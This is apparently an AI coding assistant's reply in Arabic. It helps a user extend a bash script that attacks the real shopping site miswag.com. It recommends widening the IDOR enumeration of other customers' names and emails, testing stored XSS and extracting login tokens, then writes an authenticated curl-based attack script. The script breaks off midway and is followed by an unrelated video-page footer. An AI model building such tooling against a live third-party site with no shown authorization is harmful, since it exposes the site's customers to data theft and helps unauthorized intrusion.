توقف السكربت عند أربع مراحل أساسية: تسجيل الدخول، اختبار IDOR على `/api/customer/{id}`، اكتشاف endpoints، واختبار XSS. بما أننا في **Ask Mode** لا يمكنني تشغيل السكربت هنا، لكن يمكنني تطويره وإكمال المسار من حيث وقفت.
## ملاحظات على السكربت الحالي
1. **بيانات الدخول** ما زالت placeholders — استبدلها ببيانات حسابك الحقيقي على Miswag.
2. **IDOR محدود جدًا** — يختبر فقط IDs من 1 إلى 5 ويطبع `name` و`email` فقط.
3. **اكتشاف الـ endpoints سطحي** — قائمة قصيرة جدًا.
4. **XSS عبر JSON search** غالبًا لن يظهر انعكاسًا حقيقيًا في API؛ الأنسب اختبار أماكن تخزين/عرض (ملفات شخصية، عناوين، مراجعات…).
5. **لا يوجد استخراج للتوكن** — كثير من APIs ترجع JWT ولا تعتمد فقط على cookies.
---
## سكربت محسّن (أكمل من حيث توقفت)
```bash
#!/bin/bash
set -euo pipefail
TARGET="https://miswag.com"
EMAIL="[email protected]"
PASSWORD="YOUR_PASSWORD"
OUTDIR="miswag_ pentest_$(date +%Y%m%d_%H%M%S)"
mkdir -p "$OUTDIR"
cd "$OUTDIR"
echo "╔════════════════════════════════════════╗"
echo "║ Miswag Comprehensive API Assessment ║"
echo "╚════════════════════════════════════════╝"
########################################
# 1) Login + Token Extraction
########################################
echo -e "\n[*] Logging in..."
curl -sS -c cookies.txt -D headers_login.txt -X POST \
-H "Content-Type: application/json" \
-H "Accept: application/json" \
-H "User-Agent: Mozilla/5.0" \
-d "{\"email\":\"$EMAIL\",\"password\":\"$PASSWORD\"}" \
"$TARGET/api/auth/login" | tee auth.json | jq '.' 2>/dev/null || cat auth.json
# جرّب استخراج JWT من أماكن شائعة
TOKEN=$(jq -r '
.token // .access_token // .data.token // .data.access_token //
.data.accessToken // .accessToken // empty
' auth.json 2>/dev/null || true)
if [ -n "${TOKEN:-}" ] && [ "$TOKEN" != "null" ]; then
echo "[+] Token found: ${TOKEN:0:40}..."
AUTH_HDR=(-H "Authorization: Bearer $TOKEN")
else
echo "[!] No Bearer token found — using cookies only"
AUTH_HDR=()
fi
auth_curl() {
# wrapper: cookies + optional bearer
curl -sS -b cookies.txt "${AUTH_HDR[@]}" \
-H "Accept: application/json" \
-H "User-Agent: Mozilla/5.0" \
"$@"
}
########################################
# 2) Who Am I / Baseline Profile
######
2026-07-29 13:26:50
0
To see more videos from user @azzamsec1, please go to the Tikwm
homepage.